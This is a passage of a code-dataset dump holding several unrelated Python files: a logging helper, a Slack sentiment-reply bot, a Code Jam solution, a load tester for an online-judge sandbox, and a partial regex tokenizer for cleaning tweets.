0)","repo_name":"LukasHajda/Algorithms","sub_path":"Bellman-Ford/Bellman_seznam_nasledniku.py","file_name":"Bellman_seznam_nasledniku.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36221881922","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Joey Davis jhdavislab.org\n@version: 0.0.4\n\"\"\"\n\nfrom datetime import datetime as dt\nimport sys\n\n\ndef log(msg, outfile=None):\n msg = '{} --> {}'.format(dt.now().strftime('%Y-%m-%d %H:%M:%S'), msg)\n print(msg)\n sys.stdout.flush()\n if outfile is not None:\n try:\n with open(outfile, 'a') as f:\n f.write(msg + '\\n')\n except Exception as e:\n log(e)\n","repo_name":"jhdavislab/pysodist","sub_path":"pysodist/utils/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33410396076","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport logging\nimport json\nimport random\nimport configparser\nimport datetime\n\nimport event_validation, post_to_slack, make_message\n\n# ログ設定\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef handle_slack_event(event, context):\n # 受信データをCloud Watchログに出力\n logging.info(json.dumps(event))\n \n # SlackのEvent APIの認証\n if \"challenge\" in event:\n return event.get(\"challenge\")\n \n # リトライならば、無視する\n if \"X-Slack-Retry-Reason\" in event.get(\"headers\"):\n logging.info(\"Slack側のEvents APIによるリトライを無視します。\")\n return \"OK\"\n \n # tokenのチェック\n token = event.get(\"body\").get(\"token\")\n if not event_validation.is_verify_token(token):\n return \"OK\"\n \n if event_validation.is_bot(event):\n # 発言者がbotの場合スルー\n return \"OK\"\n \n # 新規投稿か編集かによってメッセージおよびユーザID取得元が異なる\n if not event_validation.is_edit(event):\n # 新規ならevent下に入っている\n posted_message = event.get(\"body\").get(\"event\").get(\"text\")\n user = event.get(\"body\").get(\"event\").get(\"user\") \n else:\n # 編集ならevent.message下に入っている\n posted_message = event.get(\"body\").get(\"event\").get(\"message\").get(\"text\")\n user = event.get(\"body\").get(\"event\").get(\"message\").get(\"user\")\n \n # channelはいつもここ\n channel = event.get(\"body\").get(\"event\").get(\"channel\")\n \n # botへのメンション時\n if event_validation.is_message_mention(posted_message):\n logging.info(\"botにメンションされました。\")\n # Amazon Comprehendで感情認識\n return_message = make_message.make_emotional_message(posted_message)\n post_to_slack.post_message_to_user_in_channel(user, channel, return_message)\n \n \n return \"OK\"","repo_name":"r3yohei/slack_bot","sub_path":"slack_event_handler.py","file_name":"slack_event_handler.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23619390631","text":"def readlines():\r\n\tlines=[]\r\n\tfile=open(\"input_large.in\")\r\n\t\r\n\twhile True:\r\n\t\tline=file.readline().rstrip()\r\n\t\tif not line:\r\n\t\t\tbreak\r\n\t\tlines.append(line)\r\n\t\tpass\r\n\treturn lines\r\n\r\ndef reduce(word,combine,oppose):\r\n\t'''\r\n\tUntil complete:\r\n\t\tFor each letter, find a matching combination if possible\r\n\t\tIf not possible, find shortest matching opposition\r\n\t\tIf no oppositions, continue to the next letter\r\n\t\tOtherwise, erase/combine and start over\r\n\t\t\tfrom earliest changed letter\r\n\t'''\r\n\tindex=0\r\n\teltlist=''\r\n\tfor l in word:\r\n\t\teltlist=l+eltlist\r\n\t\tword=word[1:]\r\n\t\tkey=eltlist[0:2]\r\n\t\tif key in combine:\r\n\t\t\ttword=combine[key]+eltlist[2:]\r\n\t\t\teltlist=tword\r\n\t\telse:\r\n\t\t\tfor elt in oppose:\r\n\t\t\t\tif elt[0]==l:\r\n\t\t\t\t\ti=eltlist[1:].find(elt[1])+1\r\n\t\t\t\t\tif i>0:\r\n\t\t\t\t\t\teltlist=''\r\n\t\t\t\t\t\t#tword=eltlist[i+1:]\r\n\t\t\t\t\t\t#eltlist=tword\r\n\t\t\t\telif elt[1]==l:\r\n\t\t\t\t\ti=eltlist[1:].find(elt[0])+1\r\n\t\t\t\t\tif i>0:\r\n\t\t\t\t\t\teltlist=''\r\n\t\t\t\t\t\t#tword=eltlist[i+1:]\r\n\t\t\t\t\t\t#eltlist=tword\r\n\r\n\r\n\t#print eltlist[::-1]\r\n\treturn eltlist[::-1]\r\ndef magicka(line):\r\n\t'''\r\n\tnumcombine ... numoppose ... numletters string\r\n\t'''\r\n\r\n\tinfo=line.split(' ')\r\n\tnumcombine=int(info[0])\r\n\tinfo.pop(0)\r\n\tcombinations={}\r\n\tif numcombine > 0:\r\n\t\tfor i in range(0,numcombine):\r\n\t\t\tkey=info[i][0:2]\r\n\t\t\tcombinations[key]=info[i][2]\r\n\t\t\trkey=key[::-1]\r\n\t\t\tcombinations[rkey]=info[i][2]\r\n\tinfo=info[numcombine:]\r\n\tnumoppose=int(info[0])\r\n\tinfo.pop(0)\r\n\toppose=[]\r\n\tif numoppose>0:\r\n\t\tfor i in range(0,numoppose):\r\n\t\t\toppose.append(info[i])\r\n\tinfo=info[numoppose:]\r\n\r\n\tword=info[1]\r\n\r\n\tret=reduce(word,combinations,oppose)\r\n\treturn ret\r\n\r\n\r\nlines=readlines()\r\nnumlines=int(lines[0])\r\nlines.pop(0)\r\nf=open(\"out_large.out\",'w')\r\nfor i in range(0,numlines):\r\n\tresult=magicka(lines[i])\r\n\ts=\"[\"\r\n\tfor l in result:\r\n\t\ts+=\"%s, \" % l\r\n\tif len(s)>1:\r\n\t\ts=s[0:len(s)-2]\r\n\ts+=\"]\"\r\n\tprint >>f, \"Case #%d: %s\" % (i+1,s)\r\n\t\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_75/970.py","file_name":"970.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35008810153","text":"#!/usr/bin/env python\n#--coding:utf-8--\nimport json\nfrom os import listdir,system,chdir,environ\nimport requests\nimport zipfile\nimport threading\nimport StartTest\nimport sys \nimport time\nrequesting_status = {}\ndef LoadTestCases()->dict:\n testcases = {}\n cur_path=\"./TestCases\"\n chdir(\"TestCases\")\n for i in listdir():\n chdir(i)\n fp=open(\"settings.json\", \"r\")\n probSetting = \"\"\n while(True):\n r=fp.readline()\n if(r == \"\"):\n break\n probSetting+=r\n probSetting=json.loads(s=probSetting)\n\n testcases.update({i:{\n \"source\" : f\"{cur_path}/{i}/source.zip\",\n \"testcase\": f\"{cur_path}/{i}/testcase.zip\" ,\n \"checker\" : \"\",\n \"languageId\": probSetting[\"languageId\"],\n \"token\":\"wry!!!\",\n \"submissionId\":probSetting[\"problemId\"] #problemId == submissionId\n }})\n chdir(\"..\")\n chdir(\"..\")\n print(\"end of Loading test cases\",file=sys.stderr)\n return testcases\n\ndef SendRequest(ip,content,name):\n header={\n \"content-type\":\"multipart/form-data\"\n }\n body={\n \"checker\":content[\"checker\"],\n \"languageId\":content[\"languageId\"],\n \"token\": content[\"token\"]\n }\n file={\n \"code\": ('dmkaspdmaspd', open(content[\"source\"],\"rb\")),\n \"testcase\": ('sadas', open(content[\"testcase\"],\"rb\"))\n }\n print(\"sending requests:\" , name)\n resp = requests.post(f'{ip}/submit/{content[\"submissionId\"]}',data=body,files=file)\n if(resp.status_code != 200):\n print(\"Error Occur!!\",file=sys.stderr)\n print(f'Get response: {resp.text}')\n requesting_status.update({name:{\n \"sucessed\":False,\n \"timestamp\":time.time(),\n \"response\":{\n \"status_code\":resp.status_code ,\n \"body\":resp.text\n } \n }})\n else:\n requesting_status.update({name:{\n \"sucessed\":True,\n \"timestamp\":time.time()\n }})\n\ndef requestingJob(sh_dict):\n print(\"start sending requests\",file=sys.stderr)\n StartTest.Lock.acquire()\n dst_base = environ.get(\"SANDBOX_BASEURL\",\"127.0.0.1\")\n dst_port = environ.get(\"SANDBOX_PORT\",8080)\n dst=\"http://{0}:{1}\".format(str(dst_base) ,str(dst_port))\n testcases=dict(LoadTestCases())\n\n workers = []\n for i in list(testcases.keys()):\n workers.append(threading.Thread(target=SendRequest , args=(dst , testcases[i] , i ,)))\n for i in workers:\n i.start()\n for i in workers:\n i.join()\n print(\"==================================================\")\n print(\"request status:\")\n print(json.dumps(requesting_status , indent=4))\n print(\"==================================================\")\n for i in list(testcases.keys()):\n if requesting_status[i][\"sucessed\"] == False:\n sh_dict[i] = {\n \"isPending\": False,\n \"ReceiveStatus\":requesting_status[i][\"response\"]\n }\n \n print(\"end of requester\")\n StartTest.Lock.release()\n \n with open(\".begin_timestamp.json\" , \"w\") as fp:\n ts = {}\n for i in list(requesting_status.keys()):\n ts.update({i:requesting_status[i][\"timestamp\"]})\n fp.write(json.dumps(ts,indent=4))\n","repo_name":"Normal-OJ/SandboxTestingAPI","sub_path":"PressureTester/requester.py","file_name":"requester.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33610026421","text":"# implementing witten-bell smooting after cleaning the corpus given as a argument to the program using regex handiling all cases of punctuations and numbers and special characters and links and all and then applying witten-bell smooting to the cleaned corpus after finding n-grmas and then calculating the probability of each n-gram and then calculating the perplexity of the test data given as a argument to the program. This is done in various functions as mentioned by the name of the corpus\nimport re\nimport numpy as np\nimport argparse\n\n# TOKENIZATION\nclass tokenization:\n def __init__(self):\n pass\n\n def replaceHashtags(self, txt):\n return re.sub('\\#[a-zA-Z]\\w+', '', txt)\n\n def replace_email(self, corpus):\n return re.sub(r'\\S*@\\S*\\s?', r'', corpus)\n\n def replaceURL(self, txt):\n return re.sub(r'(https?:\\/\\/|www\\.)?\\S+[a-zA-Z0-9]{2,}\\.[a-zA-Z0-9]{2,}\\S+', r'', txt)\n\n def replaceMentions(self, txt):\n return re.sub(r'@\\w+', r'', txt)\n\n def replaceDateTime(self, txt):\n txt = re.sub(\n r'\\d{2,4}\\-\\d\\d-\\d{2,4}|\\d{2,4}\\/\\d\\d\\/\\d{2,4}|\\d{2,4}:\\d\\d:?\\d{2,4}', '', txt)\n return re.sub(r'\\d+:\\d\\d:?\\d{0,2}?( am|am| pm|pm)', r'